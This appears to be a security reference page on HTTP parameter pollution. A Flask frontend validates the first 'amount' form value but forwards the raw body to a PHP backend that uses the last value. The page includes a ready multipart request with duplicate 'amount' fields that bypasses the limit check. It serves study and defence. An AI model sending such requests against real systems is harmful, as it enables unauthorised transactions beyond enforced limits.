Skip to content
Flask frontend / PHP backend

Flask frontend / PHP backend

Flask first-value validation to PHP last-value processing

Repeated form parameters bypass validation when a Flask frontend validates the first value but forwards the unchanged request body to a PHP backend that processes the last value.

Flask frontend

def process_request():
    body = request.get_data()
    amount = request.form.get('amount', '')
    account = request.form.get('account', '')

    if not amount or not account:
        error_response = response('All fields are required!'), 400
        return error_response

    if int(amount) > MAX_AMOUNT or int(amount) < 0:
        error_response = response('Invalid amount!'), 400
        return error_response

    res = requests.post(BACKEND_URL,
        headers={"content-type": request.headers.get("content-type")}, data=body)

    result = res.json()
    return result

request.form is a Werkzeug MultiDict, so repeated values remain available through request.form.getlist('amount'). request.form.get('amount') returns only the first value.

request.get_data() stores the original request body in body. Forwarding body with the original Content-Type preserves every multipart field and its boundary, including repeated amount fields that were not returned by .get().

PHP backend

public function index($router)
{
    $amount = $_POST['amount'];
    $account = $_POST['account'];

    $result = $this->service->process($account, $amount);

    $response = $router->jsonify($result);
    return $response;
}

PHP assigns repeated scalar form parameters to the same $_POST key. Each later value overwrites the previous value, leaving the final occurrence in $_POST['amount'].

Manual testing

POST /api/process HTTP/1.1
Host: <TARGET>
Content-Type: multipart/form-data; boundary=---------------------------boundary

-----------------------------boundary
Content-Disposition: form-data; name="account"

1
-----------------------------boundary
Content-Disposition: form-data; name="amount"

10
-----------------------------boundary
Content-Disposition: form-data; name="amount"

1000
-----------------------------boundary--

The two application layers interpret the same request differently:

Flask request.form.get('amount') -> 10
PHP $_POST['amount']             -> 1000

Flask validates 10, then forwards the unchanged multipart body. PHP reparses that body and performs the backend operation with 1000.

Find by: http parameter pollution, hpp, duplicate parameter, repeated parameter, duplicate form field, multipart, flask, werkzeug, multidict, request.form, getlist, first value, php, post, last value, parser differential, frontend backend, validation bypass, raw body forwarding · Source: Flask/Werkzeug and PHP parser differential